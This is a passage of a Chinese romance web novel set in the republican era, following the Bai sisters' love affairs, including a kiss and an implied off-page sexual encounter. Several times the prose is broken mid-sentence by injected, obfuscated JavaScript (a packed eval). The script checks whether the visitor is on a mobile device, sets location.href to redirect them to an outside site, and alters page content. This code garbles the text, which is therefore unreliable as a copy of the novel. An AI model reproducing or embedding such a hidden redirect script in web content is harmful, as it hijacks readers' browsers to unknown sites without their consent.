白瑾琪一点就通,明白男孩子搞这一套,无非想要一个克斯(kiss)罢了,郑家树高大俊朗,自己亲他一下,也不吃亏。刚要有所动作,余光一转,只见草坪不远处的一座花坛后边,可不就站着程巧书吗? 她手里抱了两本书,一副要去哪里用功的样子,怎么脚下就是不踩步子呢?不要是存心躲着来偷看我吧? 这样一想,可得在她眼前拿一拿乔,于是轻咳了两声重新坐好了,对郑家树道:“好吧,就让你亲我一下算作酬谢,怎么样?” 郑家树本来垂着眼,正静等着白瑾琪的吻呢,想不到女友骄矜地端坐着,反倒说出这样一句话来,这又是意料之外的事,很有新鲜劲儿。于是抿着兴味的笑容,说:“真要我来亲你吗?我的行动,可是不受你掌控的。” 白瑾琪余光留意着程巧书那边,见她还是不走,勾着嘴角哼哼了两声。 那哼声爱娇极了,又很像催促,郑家树哪里还坐得住,伸手将白瑾琪拉起来,低头吻了吻她白皙细滑的脸颊。 怪道古人将美丽女子的脸颊称作“香腮”,在他凑近的时候,真觉得有一丝幽微的香气,暖暖地往脸上扑来。心猿意马之下,一吻刚毕,又往下探寻着,吻到了她樱桃似的红润的嘴唇上。 白瑾琪感受着来自异性的这第一个吻,心里直觉有几分新奇,再想到这一幕落到程巧书眼里,可不就是她爱慕的男子主动来向我献吻吗?心里又觉得痛快。 辗转着脑袋和郑家树的唇摩挲一阵后,留意到余光里的人影匆匆地跑走了,心里高昂的兴致也就回落了不少。伸手在郑家树的腰上掐了一下,抿着唇嘟囔道:“好了没有,你的报酬,索要得也太多了。” 这一吻的感受太妙,直如置身云端一般飘飘然,郑家树恍惚了两秒才抽身回魂。满怀柔情地捧着白瑾琪的脸颊,说:“多吗?要是事情办成了,我可是还会再多要一份报酬的。” 伸手刮了一下她细巧的鼻梁,笑着道:“你就等着我的消息吧。” 两人分开后,郑家树径自往教室的方向走去,鉴于那一亲香泽所带来的□□与精神上的愉悦,他走得脚下生风,实有一种意气风发的潇洒。 像他这样学校里的风云人物,又有一颗爱艺术的浪漫之心,要说没有和女同学们顽一顽爱情的游戏,那绝不能够。不过白瑾琪真是个妙人,他还从没有遇到过这样叫人捉摸不透的小女子,要说她爱慕自己吧,确实也有亲昵热情的姿态;可要说自己完全地俘获了她呢,又似乎不是那一回事。 倒勾起了他许多好奇与好胜之心。 走上二楼正要转去长廊时,忽听一道楚楚可怜的声音叫住了自己,那秀气的女学生拽着他的衣袖,又擒了眼泪,问:“郑学长,你真和那个白瑾琪在一起了吗?除非你亲口承认,否则我不信。” 郑家树并记不得她是谁,不过想了一想,还是说:“这是什么胡话?不过白同学的戏演得很好,我是很欣赏她的。”说罢笑了一笑,这才转身走开。 那女学生咀嚼着这一句回答,心想:他并没有承认呀!当下又振奋起来,掏出手巾擦了擦眼角,又拿出粉盒子往脸上扑了两下,重新噙着微笑下楼去了。 循着风声打探消息的人不光冲着郑家树,也有向白瑾琪发起行动的。另一边,白瑾琪在公共课结束之后,也遇上了“拦路虎”。 她收拾起东西来磨磨蹭蹭的,往往要在教室里逗留一会儿,是以那时候,教室里已不剩多少人了。那两个女学生气势汹汹地闯进来,偏偏挑中了程巧书问话:“白瑾琪是哪一个?人还在吗?” 程巧书纤细的手指便往后一点,望向白瑾琪的时候,满脸都是等着看好戏的窃喜。她料想白瑾琪是要挨一顿教训了,自己可不愿意牵扯其中,被扣一个“袖手旁观”的罪名,于是还不等三个人开始说话,先就脚底抹油地避开了。 别的学生恐怕也是这样想,是以片刻之后,偌大一间教室,便只剩下了她们三人。 那两个女学生果然是一副很不好惹的架势,人又很高大,堵在白瑾琪的眼前,就像立了一道墙似的。 白瑾琪笑吟吟地先问:“两位同学,有什么指教呢?” 其中一个瞪着她道:“我听说你和戏剧社的郑学长是恋爱的关系,这是真话吗?你真是不识好歹,不知道郑学长是清河大学里一个偶像吗?你要把他占为私有,那你和我们这些推崇他的女学生,就是敌人了!” 另一个紧跟着道:“对!郑学长是我们大家的,不准你再缠着他!不然,我们可要你好看!” 白瑾琪见她们两个小山似的拦在眼前,说一点不怕是不可能的,蹙着眉头为难道:“你要我别缠着他......我们都在同一个社团,要是排练剧目,也不由我说了算呀。” 心里却已经懊恼开了:自己真是目光短浅,当初只想着和郑家树谈恋爱不亏,没想到麻烦也接踵而来,真是引火烧身!郑家树也是,长得好看归好看,招蜂引蝶的本领也是不小! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说到这里,一想到昨天白瑾瑜冷冰冰的样子,真就抽噎了两声,还不忘强调一句:“所以你们实在可以放心,我和郑学长,是绝没有什么可能的。” 既然证明了传言不实,那白瑾琪也就不是什么“敌人”了,何况她长得漂亮,此刻泪盈于睫的样子,谁看了都要不忍心。 末了,那女学生反倒安慰了她几句:“白同学,你也不必完全灰心,你的表演这样好,和家里人说说,他们未必不会同意呀。这、我们也没什么能做的,下回再有你参演的剧目,我们一定去捧场。” 白瑾琪委委屈屈地点了点头,心里却想,这一茬可不能让郑家树知道。我看他做事也是往秘密的一路去走,未必就想曝光我们的关系,不过要是被他知道我直白地否认过,多少很失颜面,我还指望着从他那里得一点好消息呢。 这时候约莫是下午四点多钟,下沉的光线投在教室的玻璃窗上,刚好映照出白瑾琪站着的身影。 她转身时瞥见一眼,当下“啊呀”了一声,两手箍了箍自己的腰身,觉得玻璃上照出的自己的样子,离时下女星的曼妙苗条,可差得太远了! 要是郑家树的姑姑愿意见一见我,那固然是好事,可设若她觉得我太胖,到时候才开始减,那可就太晚了。都说将军不打无准备之仗,看来对身形的管控,从现在就要开始了。 60. 第 60 章 吵过一架的两位当事人,这一边白瑾琪有郑家树可以转移注意力,那一边白瑾瑜的烦闷,当然也有可以倾诉的对象。这便有此刻,孟西洲含着一点微笑,一面拿自来水笔在文件上圈画批注,一面听着白瑾瑜说话的一幕了。 白瑾瑜忿忿地叹气道:“她现在是被艺术的美梦冲昏头脑了,想得太简单,以为演几出话剧,就能成为艺术家吗?幸而我撞破得早,她眼下只是背了我去拍广告画,往后胆子大了,就能背了我去演新话剧。如今的剧团为了吸引眼球,打着新话剧的名义,实则公然让女演员做大尺度表演的,可一点不在少数!” 说罢,兀自沉思着,又郁郁叹了口气。 孟西洲刚写完一条批语,看了她一眼,安抚道:“所以你妹妹拍了广告画没有呢?拍了也不要紧,我认识一个朋友,但凡广告刊登一类的公司,都有一点人脉,我给他挂一个电话,让人撤下来就好。” 白瑾瑜把头摇了一摇,心烦道:“没有。唉,这个小东西,我实在是管不住她,我也不要求她像瑾璎一样谨慎周到,只求她不要轻举妄动,爱惜一点自己的羽毛,也让我省一点心吧。” 孟西洲却没有接话,只是微笑着将她望着。 白瑾瑜有点不服气地眯起眼,问:“怎么了?我说的话,你不大赞同吗?” 孟西洲这才说:“不,我只是有感而发,一个人,要怎样‘管''住另一个人呢?谁都有自由的意志,要别人全然按照自己的安排行事,那是不能够的。” 他微笑了一下,接着道,“好比我自己,我爱慕你,想必你很早以前就有一点察觉。在你还没分手的时候,甚至你分手之后,我何尝不希望你也来爱慕我?不是一样不能够成功吗?” 白瑾瑜难得地语塞了一阵,抿着嘴唇,到底没有反驳,只是说:“这不能一概而论,拍广告画本身是有风险的行动。瑾琪年纪小,我很怕她上当受骗。” 孟西洲便放下墨水笔,转而拉住了白瑾瑜的手,故意偷换概念道:“哪里不一样?爱情里就没有上当受骗之说吗?还是你心里明白我有一万分的诚意,不会骗你?你能这样想,我倒是很欣慰。” 见白瑾瑜小小地瞪过来一眼,才言归正传:“我明白你的意思。你们家的老三,大概做起事来是有些冒失莽撞,不过她说喜欢艺术和演戏,好比你喜欢盘算生意经,你们家的老二喜欢研究学问经,这难道是坏事吗?且我看她在公益演出上的表现,实在有一点天赋在身上。” 白瑾瑜听懂了他的意思,人的天赋与喜好所在,本来就各不相同。自己当初说要办贸易公司的时候,不赞同不看好的声音,更是多了去了。要不是爸爸极力地支持,恐怕自己的梦想,也要在刚燃起时就被掐灭。 如今没有了爸爸的庇护,说得自大一点,自己挑着一家之主的大梁,便总希望一切尽在自己的掌握之中,不要出差错,不然,自己先就难辞其咎。 白瑾璎爱啃书本,人又胆小谨慎,那就不必去操心,可说到底,也只是她热爱的事物恰好很让人省心罢了。反观白瑾琪追求的那条艺术之路,实是一条前途莫测的冒险之路啊!可这难道就是错误吗? 说来说去,不过是自己没有为她托底的本事,这才忧心忡忡,一心想让她放弃。 孟西洲说得不错,人做不到控制别人,能驱使的只有自己罢了。怎么我不想着长自己的本事,反倒要去限制别人?设若我有足以影响演艺界的能耐,随便白瑾琪去拍广告还是拍电影,又有什么“风险”可担心呢? 她心里已想得通透明白,只是碍于面子,还是不想在孟西洲面前承认自己错了,只撇着嘴为难道:“她要追求艺术梦,没有更稳妥的办法吗?譬如先去做一个表演的深造,有文凭在手,也更能受人的尊敬......反正不是拍什么不入流的广告画。” 孟西洲倒很爱看她心口不一的嘴硬,和平日里的雷厉风行不同,很有女子的娇气在里面,将牵拉着的她的手凑到唇边吻了一吻,说:“不管怎样,我总归站在你这边,我的关系资源,你也尽可以用。不过——” 白瑾瑜半抬着眼瞅他。 她的眼尾微微上挑,平时看来秀媚又不失凌厉,此刻被长长的眼睫半掩着,那种凌厉便弱化了,只剩下柔和的美丽。问:“不过什么?” 孟西洲感觉到她想抽回手,兀自握紧了不放,目光也凝视着不放,问:“不过,我到底成功了吗?” 话一出口,又觉得这问题很傻似的,自嘲地一笑,“你愿意和我在一起,我绝不怀疑你的心意,只是你不说,我的心便不能踏踏实实地落定。” 白瑾瑜明白过来,知道他说的是先前希望自己爱慕他却不能成功的话,心想:看来我从前的两次拒绝,实在叫他受了不少委屈。又觉得,既然我已决心与他相处,难道还要在言语上争个长短不成?把他哄得高兴一点,于我并不是什么损失呀。 于是干脆连带着被他握住的手,两手都贴到孟西洲的脸上,捧着那张清俊的脸左右摇晃一下,笑道:“这还不算成功吗?恭喜你,孟先生。为表示祝贺,不如我再请你吃个晚餐吧?” 这个俏皮的举动实在出乎孟西洲的意料,他少见地露出一点错愕的神态,尽管很快被喜悦掩盖过去,那也足够白瑾瑜获得一点乐趣了。 再说到令人省心的白瑾璎,就她自己而言,眼下的情况可实在谈不上省心。 自从缪昌平获准可以使用白瑾璎的教案,倒像领了一道谕旨,神气起来了。他打着在白瑾璎教案的基础上另添知识点的算盘,每每腆着一张笑脸提前讨要,嘴上说着:“白老师的教案很深奥哩,我可要好好品读。” 白瑾璎译注到了瓶颈,光是沉得压手的专业书籍就看了不知凡几,一来时间不够用,二来本身也不是善耍小聪明的性格,故而也没有想过明面上给出一份,自己再另做一份教案的法子。 实在被他催得烦了,这才冷着脸道:“缪老师以为我批改作业不花时间吗?我自有自己的时间安排,你一伸手就要我交出来,没有这样的道理。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白瑾瑜倒觉得不大像,正好虞妈端来了热汤,向楼上喊了一声:“瑾琪小姐,下来吃饭了。”随后便听见哆哆的脚步声,白瑾琪兴冲冲地跑下楼来,跑到桌边时冷不丁对上白瑾瑜的视线,发怵似的瑟缩一下,努着嘴把椅子挪得离她远一些,这才坐下。 白瑾瑜看着她这小样子,实在又是好气又是好笑,也不多说她什么了。 吃饭时又有一点事故。白瑾琪把盛米饭的小碗放到一边,就着碟子吃了点笋片青菜,又吃了两只虾,便搁下筷子,那意思就是吃完了。 白瑾瑜拧了拧眉头,首先想到的是她们刚吵完架,这小东西不要是用绝食表示抗议吧?她是关系僵持着的一方,由她开口,那就有一种逼问的意思,于是和白瑾璎对视一眼后,后者问道:“怎么就吃这么点?白天读书不累吗?可不要拿自己的身体开玩笑。诺,你最爱的鸡汤,我给你舀一碗吧?” 白瑾琪哪里不饿,只是她铁了心要瘦,任凭那逼人的香气直往鼻子里钻,硬是忍住了不看,道:“我就是吃不下,才少吃的,汤就更不能喝了,涨肚。” 听她的口气,也不像是赌气。可这都入秋了,人人恨不得多吃两口贴一贴秋膘,怎么她反倒胃口不好起来? 为防万一,白瑾瑜还是想试一试她的态度,晚上又让虞妈送了碗鸡汤过去,白瑾琪只推说不饿。于是想:老三从来不在吃穿上委屈自己,这样都不吃,那就是真不饿,兴许是在外面吃了零嘴呢,这便不再干涉了。 61. 第 61 章 白瑾琪不吃晚饭的行为,一下就持续了近一个礼拜,起初推说是吃了零嘴,可天天贪吃零嘴,那也不大可能。是以干脆每天晚两个钟头回家,借口说是话剧社延长了排练,饭也是和大伙一道吃的,也正好可以错过晚饭时间。 白瑾瑜是怎么看怎么不信,就怕她做出什么离经叛道的事来,为此特意去清江大学找她的老师打探过几句,知道她还在好好地点卯上课,这才放下一点心来。 至于她要在下课后参加什么话剧排练,也就睁一只眼闭一只眼,暂且不再去管她的艺术梦。 反倒是白瑾琪,起初对自己编的谎话还有些战战兢兢呢,生怕逃不过大姐姐的一双火眼金睛,可她竟一点没有和自己为难,这真是想不到的好事!心里松快了,心情也就跟着好起来,和白瑾瑜的关系,两人虽没有明着宣布和解,倒也缓和了许多。 譬如这就有一天,白瑾琪知道早饭是虞妈拿手的酱油馄饨,故而一早便饥肠辘辘地等着了,不想刚下楼,就撞见白瑾瑜开了门从外头回来。吃了一惊问:“咦?你这么早去哪儿了?” 白瑾瑜也带着几分吃惊,看向她时,那柔和的笑意还挂在唇角哩。 “啊呀!你不要是一晚上没有回来吧?昨天晚上虞妈就说你约了朋友吃饭。”她恍然大悟一般,再看白瑾瑜那一身很愉快柔和的气场,罗曼蒂克的思维更是往外发散了,“你约了哪一个朋友吃饭?不要是姓孟的朋友吧?” 白瑾瑜在自己的事上一向心里有数,倒不是避讳和孟西洲的亲密关系,只是白瑾琪毕竟还在读书的年纪,脑子里全装了那一套浪漫的艺术,那就容易浮想联翩,就怕自己说的多了,对她造成影响。 于是伸了一根指头轻戳了戳她的额头,说:“大人的事,小孩子少打听,我忙起来不见人,不是常有的事吗?要是让你来处理我手上的事务,恐怕你一分钟的空闲都抽不出来呢。” 白瑾琪怪不服气,但虞妈正端了汤碗过来,她被香气勾了魂,硬是调转脚步捧起碗来祭五脏庙了。 嘴巴在吃,耳朵却留心着白瑾瑜,听见虞妈边走去厨房边问她“要不要也来一碗?”,白瑾瑜却说,“不要了,早上刚在酒店吃过面包咖啡,现在倒不饿。” 心道:哎哟哟,是家里的床睡着不舒服,偏要跑到酒店里睡觉吗?还是虞妈的手艺不好,要去吃什么咖啡面包?可见她和孟先生,已经是实质上的爱侣了! 白瑾琪越想越觉得自己猜的很对,同时心里又很羡慕:像白瑾瑜这样的,自己有本领,又有一个体面的男友,不必获得谁的允许,想在外头过夜的时候就可以过夜,那才是真正自由恣意的新式女子呢! 她虽时不时地和白瑾瑜唱反调,可真心里,实在把她当成一个想要效仿的模范来看。 先前只当那位孟先生是在单相思,自己还为先一步和郑家树交往而沾沾自喜呢,想不到她嘴上没承认,实际老早把关系发展得很深远了!这本来没什么可比的,可白瑾琪就是觉得输了一筹似的,噘着嘴喝了勺鲜鲜的馄饨汤,心里痒痒起来。 在学校里见到郑家树时,也忍不住瞅着那一张俊脸陷入沉思。 郑家树一早就发现了,他心里正有事想和白瑾琪说,却又不知如何开口,于是试探着问道:“今天下学早,你有什么活动要去参加吗?” 白瑾琪见他看过来,也就懒懒地移开视线,随手扯了张白纸在手上折纸鹤,说:“活动是没什么活动,不过你要是想请我吃饭,我倒是可以去。唉,真想吃东方大饭店的烤鸭子。” 郑家树见她一副抿着唇回味的样子,先就笑了出来,忍不住逗她道:“东方大饭店,那不成问题。而且那里不光烤鸭子好,楼上的外国套间也很受赞誉,不如也请你去住上一晚?” 这一句话,就浅浅触动了白瑾琪想要尝试一下男女关系的好奇心,她本来手也不灵巧,心思也不在折纸上,手里的纸鹤还没折到一半就给扯开一道大口子,干脆丢开了,说:“你要和我一道住?那也不是不行......” 郑家树简直有点不敢相信这一份好运。 世上的男子之于女子,既有喜爱之心,总是带有欲望的,他又怎能免俗?只不过白瑾琪平日里总是傲气十足的样子,要俘获她,料想不大容易,谁能想到她会这么快松口呢? 当下透出惊喜之色,握了白瑾琪的手问:“当真吗?你不要冤我,我一下课,可就去东方饭店订房间了。” 白瑾琪又思忖了片刻,心想,如今既然提倡社交开放,那么女子的自由,就不该低于男子,而要论自由,对自己身体支配的自由,不正是最基本的一项吗?于是下定决心将头点了一点,道:“行,去吧。” 这之后几堂课的时间,对于郑家树而言有多漫长焦灼,这就不必去多说。 好在课总有上完的时候,连下课铃声都显得格外悦耳,直如天上飘下的仙乐似的。郑家树便在这天籁声里抢先冲出教室,在校门口雇了辆人力车,先往东方大饭店去了。 等白瑾琪慢悠悠前来汇合时,他已提前点好了菜,除了白瑾琪点名要吃的烤鸭子,另有两道特色荤菜,大概觉得荤腥太多,又添了一道汤色清亮的上汤白菜,给白瑾琪单独点了一碗杨梅冰,考虑得很是周到。 反倒是白瑾琪笑不出来,她本来已立志了要少吃,因为想要“用一用”郑家树,觉得小小破戒一下也无妨,想不到郑家树把菜点得这样丰盛,且样样都是她爱吃的,这是吃好?还是不吃好? 心里又爱又恨,硬生生克制着肚子里的馋虫,只包了三卷烤鸭子,别的菜各尝了两筷子,才依依不舍地搁下筷子,拿小勺子搅着杨梅碗的碎冰。 没有吃饱,心里就带了火气,怨怼道:姓郑的不要是存心挡我的路,做我艺术之路上的绊脚石吧? 对面的郑家树虽然吃着饭,却时刻留心着白瑾琪的神情,见她此刻面无表情,手里的勺子一下又一下戳着,倒像是负气似的。又是紧张又是关切,问:“怎么了?是饭菜不合口味吗?还是......你要反悔?” 白瑾琪见他一脸忧虑,眉头微蹙着,反叫那俊朗里又添上几分委屈可怜,原先忿忿的心情,顿时又满意地飞扬起来。甚至露出了一点笑容,说:“没有,你快点吃。” 这话仿佛带着催促的意思,郑家树细品一遍,只觉满心的期待欢喜,都一股脑冲上了头顶。本来想着慢慢地吃饭谈心,一切往罗曼蒂克的方向去走,这下急转向了热切的一边,三两下吃完了饭,便带着白瑾琪往楼上的外国套间而去。 事毕,郑家树珍爱地将白瑾琪半搂着。 他此刻满心的缱绻,看向白瑾琪的目光里溢满了爱意,只觉得她是这世上最美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808458|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的女子。相反白瑾琪可不觉得多么舒坦,身上的酸痛就不去说了,回想刚才的经历,又觉得郑家树不得要领笨手笨脚,指不定身上已经被他掐出了红印子! 怎么大姐姐就是高高兴兴的?这种叫人浑身难受的事,也能笑得出来?不要是自己想差了,她确实是有别的好事才耽搁了一晚不回家的吧? 白瑾琪一声不吭地思忖着,郑家树却会错了意,又贴上来,将吻落在她的肩头,咕哝着问:“怎么不说话?我知道了,是不是你害羞,不好意思和我说话?让我看看你——” 白瑾琪本来舒服地靠在软枕上,硬是被他拨过脸去,正是一肚子的不满意,可刚刚完事儿就挑他的毛病,似乎又不大厚道,于是随口问了句:“对了,你说去问你姑姑的门路,可有什么回音?” 郑家树这才被点醒一般,顿时想起了正事。 他本来就是要和白瑾琪说这件事的,哪想到她半路打岔,送了他好大一份惊喜,什么正事琐事,统统都给抛到九霄云外去了! 关于演艺界的门路,他其实还没来得及去问姑姑,不过略略和家里的父母提了两句,说自己交的女友,很有这方面的志向。想不到自己的母亲是很反对的,说:“你要是单单交女朋友,那我不管,不过你要找一个女演员做妻子,那我是不能同意的。你看看那些女明星呀,漫天的花边新闻不说,为着拍戏的缘故,随便就能和男演员抱在一起,简直是胡来!” 竟是很激烈很坚决的口气。 郑家树本来不做多想,只觉得可能要再等一等,等他母亲把这事儿忘得差不多了自己再去问,这就不容易联想到一起去。 然此一时彼一时,他此刻怀里抱着白瑾琪,像抱着一份宝物似的,心里涨满了柔情,竟前所未有地生出一种长长久久的心思。这样灵动可爱的小人,我娶了她做妻子,不很美好吗? 可设若将白瑾琪摆在妻子的位置,便没有两全的办法,为了减少母亲的阻力,那就不能够让她去演戏。 于是抚着白瑾琪的肩膀,歉意道:“对不住,我问了姑姑,可惜没能够成功。”又怕她生气,两手搂了她不松开,吻也一下一下落在她的头顶。 要说一点没有失望,那是不可能的,只是郑家树本来也说了不能够打保票,自己也没有道理凭白责怪他。便说:“算了,我再想想其他法子就是。” 郑家树脸上浮现出为难的神色,踟躇着开口:“在演艺界里谋出路,实在是很辛苦的事,何况又有运气的成分在。许多人,四处奔波地演了十来年,都未必能够出名。瑾琪,你就非要当女演员不可吗?” 白瑾琪奇怪地瞥他一眼,问:“你平时不也夸我演得好,今天怎么净灭我的士气,替我打起退堂鼓来?”说着,望一眼墙上的挂钟,指针已快要走向七点了。 白瑾琪顿时“啊呀”一声跳将起来,使劲拆开郑家树抱着她的胳膊,抓过衣服就往身上套。 郑家树见她要走,只当她是气自己倒戈,当下再也不敢提不做演员的事,急道:“瑾琪,你生气了吗?这套间可以睡一整晚,何必急着要走?” 白瑾琪想的却是:大姐姐是家里的话事人,她在外头过夜没人敢说什么,我要是敢在外过夜,她非得把我的腿打折了不可!不行不行,这一番尝试,还是保密为宜,可不能叫家里两个姐姐知道哩! 62. 第 62 章 要说白瑾琪猜得对不对,虽然不中,亦不远矣。至少白瑾瑜约会的对手方,是完全正确的。 孟西洲约了白瑾瑜晚上谈事,在他这里,当然是存了拖延时间把人留下的心思;可白瑾瑜也是很聪明通透的人物,又不受旧规矩的约束,也就顺水推舟地留宿下来。只是她自以为心照不宣,可到了晚上,孟西洲再三地吻过她后,竟然只是抱着她同床而眠,并没有真做点什么。 这就叫人不解,他想还是不想,光是从那烫热的手心,就可以感受到一二,何况自己也并没有表示着反对呀? 这疑惑留续到第二天早上,白瑾瑜对着镜子佩戴耳环的时候,忍不住想透过镜子,悄悄窥看孟西洲的神色。 孟西洲正站在床边系着衬衣的纽扣,只是他站的位置,镜子并照不到。于是伸了手,将那面可活动的梳妆台的圆镜,微微转过一点角度,将他映照进去,可冷不丁对方一抬头,彼此的视线就在那镜中相会了。 孟西洲并不将视线挪开,对着镜子微笑一下,问:“你想看我,怎么不光明正大地看?你看我,我还有不高兴的吗?” 自己的小把戏被发现了,白瑾瑜干脆也不欲盖弥彰,并不将镜子的角度转回,留着它做一个眼神交汇的媒介,抿着微笑,兀自专注于耳垂上的小配饰,说:“反正我也看不明白你。好吧,那我不看了吧。” 言下之意,刚过完夜的彼此再清楚不过了。 孟西洲闷笑一声,主动坦白道:“我实在出于一份好心,宁愿自己忍得辛苦一点,也想让你先习惯有人睡在身边是什么情境,可怜我一整夜有一半时间受着煎熬,某位小姐却并不领我的情。” 白瑾瑜想不到是因为这一个缘由,心口一跳,极为难得地,竟感受到一丝羞赧。她垂了眸子不去看镜子里的目光,嘴上却说:“这你就不知道了,我念中学的时候,一周有一半的日子都是和瑾璎一起睡的——” 这句话,不啻于是一句挑衅呀! 孟西洲忍不住笑了一声,“好哇,原来是我白操了一份心。好极了,我看现在也还早,不如就把昨晚未尽之事,再做一遍吧。”说着,已经迈着步子走到白瑾瑜的身后,伸手抚上她纤长的脖颈。 白瑾瑜笑着躲了一下,刚想伸手把那进犯的大手捉住,想不到孟西洲也只是寻她开心的意思,那手只搭在她的肩膀上,并不再动作。 相反另一只手越过她,拉开了梳妆台右边的一个抽屉,拿出一个海绒面长条形的盒子来。因他正好站在白瑾瑜的身后,手臂往她身前一绕,便将那物件戴到了她脖子上。 由镜子里看去,那是条嵌满了火油钻的项链,越往两边越细巧,往中间则渐大,最正中的位置,则挂了一颗水滴形的火油钻。即便就着大白天的光线看,也熠熠放着光彩,更不要说在灯火通明的宴会上,那要何等的璀璨夺目。 何况这也不是在家里,而是酒店的高级套间,他从这里的梳妆台抽屉里取出来,可见是一早就放好了,只等着送给自己。 白瑾瑜伸手拨弄一下那颗悬荡下来的钻石,对于这样一件厚礼,实在不能不感到吃惊,秀气的眉梢微微一抬,道:“好贵重的礼物,不年不节的,你也不怕吓着我吗?” 孟西洲同样看向镜子,在镜子里摄住那对漂亮的眸子,含了微笑道:“我倒是想买不那样贵重的,一颗火油钻就差不多,只怕更要吓着你了。” 一颗钻石的首饰是什么,那就不必去多说。白瑾瑜怔楞一下,水红色的嘴唇闭阖着,只管抿出微笑,不开口否认,也不承认。 她不说话,孟西洲反倒追问起来。俯身重重吻了吻她的耳朵,末了并不离开,凑在她耳边问:“我要是真送了,你收不收呢?”见白瑾瑜还不回答,便又去吻,干脆以唇吻贴着她再问,“嗯?收还是不收?” 白瑾瑜终于破功似的笑出声来,半转过身,伸手在他肩膀上捶了一下叫停,人却还是安坐在他圈出的这一片小小天地里,说:“真有这样的好事,有人送我钻石,我还有不收的吗?” 那羽扇似的长睫毛覆着漂亮的眸子,躲开孟西洲炽热的视线,向下正看见他靠近领口处没有系好的两颗扣子。 白瑾瑜便伸手替他系了,还没等她开口,倒被孟西洲抢先攥住了手,牵到唇边吻了一下,道:“这可是你说的,我记住了。” 这一次,白瑾瑜到底没有拒绝,只说:“你可不要胡来。”又用力捏了捏他的手,“好了,快帮我把项链收起来,我们下去吃一点东西。” 待他二人在楼下大厅坐定后,便有西崽端来了热咖啡和西式的面包。孟西洲照例替她在咖啡里加上两块方糖,白瑾瑜则给两片面包分别抹上白脱,将其中一片递了过去,实在是很和睦的气氛。 吃了一会儿,白瑾瑜闲谈一般问起了姚宝莲,“那一位小女子,还在不在上课呢?不瞒你说,她私下里找我说你的坏话,我可是把她吓唬了一通。” 自从前次说开后,姚宝莲在他二人之间,也不过是个再普通不过的话头罢了,孟西洲反倒对她话里的另一层意思很感到趣味,眼中含着笑意望了她一眼,道:“这么说,你是很护着我的,这就叫人欣慰。” 呷了一口咖啡,又说,“不过贾秘书前两天刚和我汇报过,他遣人去拿成绩单的时候,原先的屋子大门紧闭,显然是不住人了,又去教会学校一问,也说姚宝莲已连续缺课两周。我看,她是彻底不去上课了。” 白瑾瑜“咦”了一声,“这不能够吧?我看她胆子不小,不能被我两句话就唬住了。” ——这两句话,也就能唬住姚宝莲一时而已,等提心吊胆上几天,也就回过味来了。只是她在学问上从不求上进,既然不能从孟白二人那里拿到现成的好处,混到毕业了又有什么用? 恰好这时候,黄老板又来递话:婚是没有离成功,不过他人要前往重庆做生意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811878|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只问姚宝莲跟不跟他一道去,当一个姨太太。至于未来回不回江西,回去了又是如何应对母老虎,那就再说。 就眼下的情形,姚宝莲已失掉全部退路,思来想去,竟没有比跟了黄老板更得益的出路了。于是也不管学上到一半,带了老娘,一路跟去了重庆。 这些事也不难打听,孟西洲便三言两语说了她的去向。他自己没甚所谓,反倒是白瑾瑜很有些恨铁不成钢的意思,叹气道:“好糊涂,我要是她,非得把书念完了不可。这还不够,先攒一点钱,还得想法子再往上念一念。” 孟西洲向她望一眼,打趣道:“以你这样的上进心,我看,一路资助到你出国去留洋,也不嫌多。” 白瑾瑜原本正搅动着咖啡,听他这样说,忽而想到什么有趣的点子似的,略歪着头问:“哦?设若我是受你资助的女学生,你真愿意送我出国留洋吗?” 孟西洲微笑着做沉吟的样子,拿指头敲着桌面,算道:“出国留洋,这代价可不小。何况把你送出去了,天高皇帝远,你还会不会回来呢?设若不回来,我的投入,不就打了水漂吗?” 抬起幽深的眸子,将白瑾瑜望着,“这不行。不过若事先说好,定一个婚约,那就不碍事,只要未婚妻高兴,我是不计投入的成本的。再来,有婚约作保,也不怕你不回来。” 白瑾瑜简直有些好笑,“这是什么话?本来资助别人,就是一种慈善的事业,你怎么样样求回报?再说,你要真资助别人去留洋,难道个个要和你订婚约吗?” 孟西洲扬了扬眉头,状似可惜道:“别人是别人,你是你,可不能混作一谈。这是单开给你的条件,你不答应吗?那就是谈不拢了。”笑了一下,“那就把预备给你留洋的钱,多资助几个人学算术写字好了,里头也算有你一份功德了。” 两人对视一眼,都忍不住笑作一团。 姚宝莲虽跑去重庆奔前程去了,他二人却从这番对话里得到一点启发,计划在教会学堂设立一笔奖励金,帮助真想要求学的人,能敲开知识的大门。 用过了早饭,孟西洲开车送白瑾瑜回椿樟街,下车时恰好碰上隔壁的余佰出门上班。他一见到白瑾瑜,一对眼睛便放出光来,兴奋道:“密斯白,才回来啊?是不是看了一晚上跳舞?我说嘛,你小姐这样时髦的人物,夜生活一定精彩——” 